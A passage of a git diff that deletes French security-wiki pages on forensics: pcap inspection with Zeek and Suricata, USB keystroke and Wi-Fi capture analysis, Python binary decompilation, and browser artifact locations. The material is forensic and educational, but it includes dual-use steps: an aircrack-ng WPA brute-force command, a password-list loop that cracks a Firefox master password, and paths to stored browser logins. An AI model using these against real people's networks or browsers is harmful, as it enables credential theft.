pcap, vous pouvez utiliser **ngrep**. Voici un exemple utilisant les filtres principaux : -```bash -ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" -``` -### Carving - -L'utilisation de techniques de carving courantes peut être utile pour extraire des fichiers et des informations du pcap : - -{{#ref}} -../partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -### Capturing credentials - -Vous pouvez utiliser des outils comme [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) pour analyser les identifiants à partir d'un pcap ou d'une interface en direct. - -## Check Exploits/Malware - -### Suricata - -**Installer et configurer** -``` -apt-get install suricata -apt-get install oinkmaster -echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf -oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules -``` -**Vérifier pcap** -``` -suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log -``` -### YaraPcap - -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) est un outil qui - -- Lit un fichier PCAP et extrait les flux Http. -- gzip décompresse tous les flux compressés -- Scanne chaque fichier avec yara -- Écrit un rapport.txt -- Enregistre éventuellement les fichiers correspondants dans un répertoire - -### Analyse de Malware - -Vérifiez si vous pouvez trouver une empreinte d'un malware connu : - -{{#ref}} -../malware-analysis.md -{{#endref}} - -## Zeek - -> [Zeek](https://docs.zeek.org/en/master/about.html) est un analyseur de trafic réseau passif et open-source. De nombreux opérateurs utilisent Zeek comme Moniteur de Sécurité Réseau (NSM) pour soutenir les enquêtes sur des activités suspectes ou malveillantes. Zeek prend également en charge un large éventail de tâches d'analyse de trafic au-delà du domaine de la sécurité, y compris la mesure de performance et le dépannage. - -En gros, les journaux créés par `zeek` ne sont pas des **pcaps**. Par conséquent, vous devrez utiliser **d'autres outils** pour analyser les journaux où se trouvent les **informations** sur les pcaps. - -### Informations sur les Connexions -```bash -#Get info about longest connections (add "grep udp" to see only udp traffic) -#The longest connection might be of malware (constant reverse shell?) -cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10 - -10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445 -10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151 -10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664 - - -#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port. -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - -10.55.100.100 65.52.108.225 443 tcp 86222.4 -10.55.100.107 111.221.29.113 443 tcp 86220.1 -10.55.100.110 40.77.229.82 443 tcp 86160.1 - -#Get the number of connections summed up per each line -cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10 - -10.55.100.100 65.52.108.225 1 86222.4 -10.55.100.107 111.221.29.113 1 86220.1 -10.55.100.110 40.77.229.82 134 86160.1 - -#Check if any IP is connecting to 1.1.1.1 -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c - -#Get number of connections per source IP, dest IP and dest Port -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - - -# RITA -#Something similar can be done with the tool rita -rita show-long-connections -H --limit 10 zeek_logs - -+---------------+----------------+--------------------------+----------------+ -| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION | -+---------------+----------------+--------------------------+----------------+ -| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s | -| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s | -| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s | - -#Get connections info from rita -rita show-beacons zeek_logs | head -n 10 -Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion -1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0 -1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 -0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 -``` -### Informations DNS -```bash -#Get info about each DNS request performed -cat dns.log | zeek-cut -c id.orig_h query qtype_name answers - -#Get the number of times each domain was requested and get the top 10 -cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10 - -#Get all the IPs -cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c - -#Sort the most common DNS record request (should be A) -cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr - -#See top DNS domain requested with rita -rita show-exploded-dns -H --limit 10 zeek_logs -``` -## Autres astuces d'analyse pcap - -{{#ref}} -dnscat-exfiltration.md -{{#endref}} - -{{#ref}} -wifi-pcap-analysis.md -{{#endref}} - -{{#ref}} -usb-keystrokes.md -{{#endref}} - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md deleted file mode 100644 index ae99ad28b..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ /dev/null @@ -1,14 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Si vous avez un pcap d'une connexion USB avec beaucoup d'interruptions, il s'agit probablement d'une connexion de clavier USB. - -Un filtre wireshark comme celui-ci pourrait être utile : `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` - -Il pourrait être important de savoir que les données qui commencent par "02" sont pressées en utilisant shift. - -Vous pouvez lire plus d'informations et trouver quelques scripts sur la façon d'analyser cela dans : - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md deleted file mode 100644 index 54d240819..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Si vous avez un pcap contenant la communication via USB d'un clavier comme celui-ci : - -![](<../../../images/image (613).png>) - -Vous pouvez utiliser l'outil [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) pour obtenir ce qui a été écrit dans la communication : -```bash -tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt -python3 usbkeyboard.py ./keystrokes.txt -``` -Vous pouvez lire plus d'informations et trouver des scripts sur la façon d'analyser cela dans : - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md deleted file mode 100644 index e277bbf4a..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ /dev/null @@ -1,39 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Vérifiez les BSSIDs - -Lorsque vous recevez une capture dont le trafic principal est Wifi en utilisant WireShark, vous pouvez commencer à enquêter sur tous les SSIDs de la capture avec _Wireless --> WLAN Traffic_ : - -![](<../../../images/image (424).png>) - -![](<../../../images/image (425).png>) - -## Brute Force - -Une des colonnes de cet écran indique si **une authentification a été trouvée dans le pcap**. Si c'est le cas, vous pouvez essayer de le brute forcer en utilisant `aircrack-ng` : -```bash -aircrack-ng -w pwds-file.txt -b file.pcap -``` -Par exemple, il récupérera le mot de passe WPA protégeant un PSK (clé pré-partagée), qui sera nécessaire pour déchiffrer le trafic plus tard. - -# Données dans les Beacons / Canal Latéral - -Si vous soupçonnez que **des données sont divulguées à l'intérieur des beacons d'un réseau Wifi**, vous pouvez vérifier les beacons du réseau en utilisant un filtre comme celui-ci : `wlan contains `, ou `wlan.ssid == "NAMEofNETWORK"` pour rechercher dans les paquets filtrés des chaînes suspectes. - -# Trouver des Adresses MAC Inconnues dans un Réseau Wifi - -Le lien suivant sera utile pour trouver les **machines envoyant des données à l'intérieur d'un réseau Wifi** : - -- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` - -Si vous connaissez déjà **les adresses MAC, vous pouvez les supprimer de la sortie** en ajoutant des vérifications comme celle-ci : `&& !(wlan.addr==5c:51:88:31:a0:3b)` - -Une fois que vous avez détecté des **adresses MAC inconnues** communiquant à l'intérieur du réseau, vous pouvez utiliser des **filtres** comme celui-ci : `wlan.addr== && (ftp || http || ssh || telnet)` pour filtrer son trafic. Notez que les filtres ftp/http/ssh/telnet sont utiles si vous avez déchiffré le trafic. - -# Déchiffrer le Trafic - -Éditer --> Préférences --> Protocoles --> IEEE 802.11--> Éditer - -![](<../../../images/image (426).png>) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md deleted file mode 100644 index ac8e1a809..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ /dev/null @@ -1,202 +0,0 @@ -# Décompiler les binaires python compilés (exe, elf) - Récupérer à partir de .pyc - -{{#include ../../../banners/hacktricks-training.md}} - - -## D'un binaire compilé à .pyc - -À partir d'un binaire compilé **ELF**, vous pouvez **obtenir le .pyc** avec : -```bash -pyi-archive_viewer -# The list of python modules will be given here: -[(0, 230, 311, 1, 'm', 'struct'), -(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), -(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), -(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), -(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), -(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), -(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), -(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), -(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), -(15535, 2514, 4421, 1, 's', 'binary_name'), -... - -? X binary_name -to filename? /tmp/binary.pyc -``` -Dans un **binaire exe python** compilé, vous pouvez **obtenir le .pyc** en exécutant : -```bash -python pyinstxtractor.py executable.exe -``` -## De .pyc à du code python - -Pour les données **.pyc** ("compilé" python), vous devriez commencer par essayer d'**extraire** le **code** **python** **original** : -```bash -uncompyle6 binary.pyc > decompiled.py -``` -**Assurez-vous** que le binaire a l'**extension** "**.pyc**" (sinon, uncompyle6 ne fonctionnera pas) - -Lors de l'exécution de **uncompyle6**, vous pourriez rencontrer les **erreurs suivantes** : - -### Erreur : Numéro magique inconnu 227 -```bash -/kali/.local/bin/uncompyle6 /tmp/binary.pyc -Unknown magic number 227 in /tmp/binary.pyc -``` -Pour corriger cela, vous devez **ajouter le bon numéro magique** au début du fichier généré. - -**Les numéros magiques varient selon la version de python**, pour obtenir le numéro magique de **python 3.8**, vous devrez **ouvrir un terminal python 3.8** et exécuter : -``` ->> import imp ->> imp.get_magic().hex() -'550d0d0a' -``` -Le **nombre magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, puis, pour corriger cette erreur, vous devrez **ajouter** au **début** du **fichier .pyc** les octets suivants : `0x0d550a0d000000000000000000000000` - -**Une fois** que vous avez **ajouté** cet en-tête magique, l'**erreur devrait être corrigée.** - -Voici à quoi ressemblera un **en-tête magique .pyc python3.8** correctement ajouté : -```bash -hexdump 'binary.pyc' | head -0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 -0000010 00e3 0000 0000 0000 0000 0000 0000 0000 -0000020 0700 0000 4000 0000 7300 0132 0000 0064 -0000030 0164 006c 005a 0064 0164 016c 015a 0064 -``` -### Erreur : Décompilation des erreurs génériques - -**D'autres erreurs** comme : `class 'AssertionError'>; co_code devrait être l'un des types (, , , ); est de type ` peuvent apparaître. - -Cela signifie probablement que vous **n'avez pas correctement ajouté** le numéro magique ou que vous n'avez pas **utilisé** le **bon numéro magique**, donc assurez-vous d'utiliser le bon (ou essayez un nouveau). - -Vérifiez la documentation des erreurs précédentes. - -## Outil Automatique - -L'outil [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sert de combinaison de plusieurs outils disponibles dans la communauté conçus pour aider les chercheurs à décompresser et décompiler des exécutables écrits en Python, spécifiquement ceux créés avec py2exe et pyinstaller. Il inclut des règles YARA pour identifier si un exécutable est basé sur Python et confirme l'outil de création. - -### ImportError : Nom de fichier : 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' n'existe pas - -Un problème courant rencontré implique un fichier de bytecode Python incomplet résultant du **processus de décompression avec unpy2exe ou pyinstxtractor**, qui **n'est ensuite pas reconnu par uncompyle6 en raison d'un numéro de version de bytecode Python manquant**. Pour y remédier, une option de préfixe a été ajoutée, qui ajoute le numéro de version de bytecode Python nécessaire, facilitant le processus de décompilation. - -Exemple du problème : -```python -# Error when attempting to decompile without the prepend option -test@test: uncompyle6 unpacked/malware_3.exe/archive.py -Traceback (most recent call last): -... -ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist -``` - -```python -# Successful decompilation after using the prepend option -test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive -[*] On Python 2.7 -[+] Magic bytes are already appended. - -# Successfully decompiled file -[+] Successfully decompiled. -``` -## Analyser l'assemblage python - -Si vous n'avez pas pu extraire le code "original" python en suivant les étapes précédentes, vous pouvez essayer d'**extraire** l'**assemblage** (mais ce n'est **pas très descriptif**, donc **essayez** d'extraire **à nouveau** le code original). J'ai trouvé [ici](https://bits.theorem.co/protecting-a-python-codebase/) un code très simple pour **désassembler** le binaire _.pyc_ (bonne chance pour comprendre le flux du code). Si le _.pyc_ provient de python2, utilisez python2 : -```bash ->>> import dis ->>> import marshal ->>> import struct ->>> import imp ->>> ->>> with open('hello.pyc', 'r') as f: # Read the binary file -... magic = f.read(4) -... timestamp = f.read(4) -... code = f.read() -... ->>> ->>> # Unpack the structured content and un-marshal the code ->>> magic = struct.unpack('>> timestamp = struct.unpack('>> code = marshal.loads(code) ->>> magic, timestamp, code -((62211,), (1425911959,), at 0x7fd54f90d5b0, file "hello.py", line 1>) ->>> ->>> # Verify if the magic number corresponds with the current python version ->>> struct.unpack('>> ->>> # Disassemble the code object ->>> dis.disassemble(code) -1 0 LOAD_CONST 0 () -3 MAKE_FUNCTION 0 -6 STORE_NAME 0 (hello_world) -9 LOAD_CONST 1 (None) -12 RETURN_VALUE ->>> ->>> # Also disassemble that const being loaded (our function) ->>> dis.disassemble(code.co_consts[0]) -2 0 LOAD_CONST 1 ('Hello {0}') -3 LOAD_ATTR 0 (format) -6 LOAD_FAST 0 (name) -9 CALL_FUNCTION 1 -12 PRINT_ITEM -13 PRINT_NEWLINE -14 LOAD_CONST 0 (None) -17 RETURN_VALUE -``` -## Python vers Exécutable - -Pour commencer, nous allons vous montrer comment les charges utiles peuvent être compilées dans py2exe et PyInstaller. - -### Pour créer une charge utile en utilisant py2exe : - -1. Installez le package py2exe depuis [http://www.py2exe.org/](http://www.py2exe.org) -2. Pour la charge utile (dans ce cas, nous l'appellerons hello.py), utilisez un script comme celui de la Figure 1. L'option “bundle_files” avec la valeur de 1 regroupera tout, y compris l'interpréteur Python, en un seul exe. -3. Une fois le script prêt, nous émettrons la commande “python setup.py py2exe”. Cela créera l'exécutable, tout comme dans la Figure 2. -```python -from distutils.core import setup -import py2exe, sys, os - -sys.argv.append('py2exe') - -setup( -options = {'py2exe': {'bundle_files': 1}}, -#windows = [{'script': "hello.py"}], -console = [{'script': "hello.py"}], -zipfile = None, -) -``` - -```bash -C:\Users\test\Desktop\test>python setup.py py2exe -running py2exe -*** searching for required modules *** -*** parsing results *** -*** finding dlls needed *** -*** create binaries *** -*** byte compile python files *** -*** copy extensions *** -*** copy dlls *** -copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe -Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe -``` -### Pour créer un payload en utilisant PyInstaller : - -1. Installez PyInstaller en utilisant pip (pip install pyinstaller). -2. Après cela, nous allons exécuter la commande “pyinstaller –onefile hello.py” (un rappel que ‘hello.py’ est notre payload). Cela regroupera tout en un seul exécutable. -``` -C:\Users\test\Desktop\test>pyinstaller --onefile hello.py -108 INFO: PyInstaller: 3.3.1 -108 INFO: Python: 2.7.14 -108 INFO: Platform: Windows-10-10.0.16299 -……………………………… -5967 INFO: checking EXE -5967 INFO: Building EXE because out00-EXE.toc is non existent -5982 INFO: Building EXE from out00-EXE.toc -5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe -6325 INFO: Building EXE from out00-EXE.toc completed successfully. -``` -## Références - -- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md deleted file mode 100644 index 4c4d5b390..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ /dev/null @@ -1,41 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Ici, vous pouvez trouver des astuces intéressantes pour des types de fichiers et/ou des logiciels spécifiques : - -{{#ref}} -.pyc.md -{{#endref}} - -{{#ref}} -browser-artifacts.md -{{#endref}} - -{{#ref}} -desofuscation-vbs-cscript.exe.md -{{#endref}} - -{{#ref}} -local-cloud-storage.md -{{#endref}} - -{{#ref}} -office-file-analysis.md -{{#endref}} - -{{#ref}} -pdf-file-analysis.md -{{#endref}} - -{{#ref}} -png-tricks.md -{{#endref}} - -{{#ref}} -video-and-audio-file-analysis.md -{{#endref}} - -{{#ref}} -zips-tricks.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md deleted file mode 100644 index fe1a0b7ab..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ /dev/null @@ -1,162 +0,0 @@ -# Artefacts du Navigateur - -{{#include ../../../banners/hacktricks-training.md}} - -## Artefacts des Navigateurs - -Les artefacts des navigateurs incluent divers types de données stockées par les navigateurs web, telles que l'historique de navigation, les signets et les données de cache. Ces artefacts sont conservés dans des dossiers spécifiques au sein du système d'exploitation, variant en emplacement et en nom selon les navigateurs, mais stockant généralement des types de données similaires. - -Voici un résumé des artefacts de navigateur les plus courants : - -- **Historique de Navigation** : Suit les visites des utilisateurs sur les sites web, utile pour identifier les visites sur des sites malveillants. -- **Données de Complétion Automatique** : Suggestions basées sur des recherches fréquentes, offrant des aperçus lorsqu'elles sont combinées avec l'historique de navigation. -- **Signets** : Sites enregistrés par l'utilisateur pour un accès rapide. -- **Extensions et Modules Complémentaires** : Extensions de navigateur ou modules installés par l'utilisateur. -- **Cache** : Stocke le contenu web (par exemple, images, fichiers JavaScript) pour améliorer les temps de chargement des sites, précieux pour l'analyse judiciaire. -- **Identifiants** : Informations d'identification de connexion stockées. -- **Favicons** : Icônes associées aux sites web, apparaissant dans les onglets et les signets, utiles pour des informations supplémentaires sur les visites des utilisateurs. -- **Sessions de Navigateur** : Données liées aux sessions de navigateur ouvertes. -- **Téléchargements** : Enregistrements des fichiers téléchargés via le navigateur. -- **Données de Formulaire** : Informations saisies dans des formulaires web, sauvegardées pour des suggestions de remplissage automatique futures. -- **Vignettes** : Images d'aperçu des sites web. -- **Custom Dictionary.txt** : Mots ajoutés par l'utilisateur au dictionnaire du navigateur. - -## Firefox - -Firefox organise les données utilisateur au sein de profils, stockés à des emplacements spécifiques selon le système d'exploitation : - -- **Linux** : `~/.mozilla/firefox/` -- **MacOS** : `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows** : `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` - -Un fichier `profiles.ini` dans ces répertoires liste les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé dans la variable `Path` au sein de `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si le dossier d'un profil est manquant, il a peut-être été supprimé. - -Dans chaque dossier de profil, vous pouvez trouver plusieurs fichiers importants : - -- **places.sqlite** : Stocke l'historique, les signets et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) sur Windows peuvent accéder aux données d'historique. -- Utilisez des requêtes SQL spécifiques pour extraire des informations sur l'historique et les téléchargements. -- **bookmarkbackups** : Contient des sauvegardes de signets. -- **formhistory.sqlite** : Stocke les données des formulaires web. -- **handlers.json** : Gère les gestionnaires de protocoles. -- **persdict.dat** : Mots du dictionnaire personnalisé. -- **addons.json** et **extensions.sqlite** : Informations sur les modules et extensions installés. -- **cookies.sqlite** : Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sur Windows. -- **cache2/entries** ou **startupCache** : Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite** : Stocke les favicons. -- **prefs.js** : Paramètres et préférences utilisateur. -- **downloads.sqlite** : Base de données des anciens téléchargements, maintenant intégrée dans places.sqlite. -- **thumbnails** : Vignettes de sites web. -- **logins.json** : Informations de connexion chiffrées. -- **key4.db** ou **key3.db** : Stocke les clés de chiffrement pour sécuriser les informations sensibles. - -De plus, vérifier les paramètres anti-phishing du navigateur peut être fait en recherchant les entrées `browser.safebrowsing` dans `prefs.js`, indiquant si les fonctionnalités de navigation sécurisée sont activées ou désactivées. - -Pour essayer de déchiffrer le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe à forcer : -```bash:brute.sh -#!/bin/bash - -#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" -passfile=$1 -while read pass; do -echo "Trying $pass" -echo "$pass" | python firefox_decrypt.py -done < $passfile -``` -![](<../../../images/image (417).png>) - -## Google Chrome - -Google Chrome stocke les profils utilisateurs à des emplacements spécifiques en fonction du système d'exploitation : - -- **Linux** : `~/.config/google-chrome/` -- **Windows** : `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS** : `/Users/$USER/Library/Application Support/Google/Chrome/` - -Dans ces répertoires, la plupart des données utilisateur peuvent être trouvées dans les dossiers **Default/** ou **ChromeDefaultData/**. Les fichiers suivants contiennent des données significatives : - -- **History** : Contient des URL, des téléchargements et des mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) peut être utilisé pour lire l'historique. La colonne "Transition Type" a diverses significations, y compris les clics des utilisateurs sur des liens, les URL tapées, les soumissions de formulaires et les rechargements de pages. -- **Cookies** : Stocke les cookies. Pour inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) est disponible. -- **Cache** : Contient des données mises en cache. Pour inspecter, les utilisateurs de Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks** : Favoris de l'utilisateur. -- **Web Data** : Contient l'historique des formulaires. -- **Favicons** : Stocke les favicons des sites web. -- **Login Data** : Inclut les identifiants de connexion comme les noms d'utilisateur et les mots de passe. -- **Current Session**/**Current Tabs** : Données sur la session de navigation actuelle et les onglets ouverts. -- **Last Session**/**Last Tabs** : Informations sur les sites actifs lors de la dernière session avant la fermeture de Chrome. -- **Extensions** : Répertoires pour les extensions et addons du navigateur. -- **Thumbnails** : Stocke les vignettes des sites web. -- **Preferences** : Un fichier riche en informations, y compris les paramètres pour les plugins, les extensions, les pop-ups, les notifications, et plus encore. -- **Browser’s built-in anti-phishing** : Pour vérifier si la protection anti-phishing et contre les logiciels malveillants est activée, exécutez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie. - -## **Récupération de données SQLite DB** - -Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox utilisent des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées à l'aide de l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). - -## **Internet Explorer 11** - -Internet Explorer 11 gère ses données et métadonnées à travers divers emplacements, aidant à séparer les informations stockées et leurs détails correspondants pour un accès et une gestion faciles. - -### Stockage des métadonnées - -Les métadonnées pour Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16, ou V24). Accompagnant cela, le fichier `V01.log` peut montrer des écarts de temps de modification avec `WebcacheVX.data`, indiquant un besoin de réparation en utilisant `esentutl /r V01 /d`. Ces métadonnées, logées dans une base de données ESE, peuvent être récupérées et inspectées à l'aide d'outils comme photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivement. Dans la table **Containers**, on peut discerner les tables ou conteneurs spécifiques où chaque segment de données est stocké, y compris les détails de cache pour d'autres outils Microsoft tels que Skype. - -### Inspection du cache - -L'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permet l'inspection du cache, nécessitant l'emplacement du dossier d'extraction des données de cache. Les métadonnées pour le cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'origine de l'URL, et des horodatages indiquant les temps de création, d'accès, de modification et d'expiration du cache. - -### Gestion des cookies - -Les cookies peuvent être explorés à l'aide de [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), avec des métadonnées englobant les noms, les URL, les comptes d'accès, et divers détails liés au temps. Les cookies persistants sont stockés dans `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, tandis que les cookies de session résident en mémoire. - -### Détails des téléchargements - -Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), avec des conteneurs spécifiques contenant des données comme l'URL, le type de fichier, et l'emplacement de téléchargement. Les fichiers physiques peuvent être trouvés sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. - -### Historique de navigation - -Pour examiner l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé, nécessitant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées ici incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique sont situés dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`. - -### URL tapées - -Les URL tapées et leurs temps d'utilisation sont stockés dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URL saisies par l'utilisateur et leurs derniers temps d'entrée. - -## Microsoft Edge - -Microsoft Edge stocke les données utilisateur dans `%userprofile%\Appdata\Local\Packages`. Les chemins pour divers types de données sont : - -- **Profile Path** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads** : `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache** : `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions** : 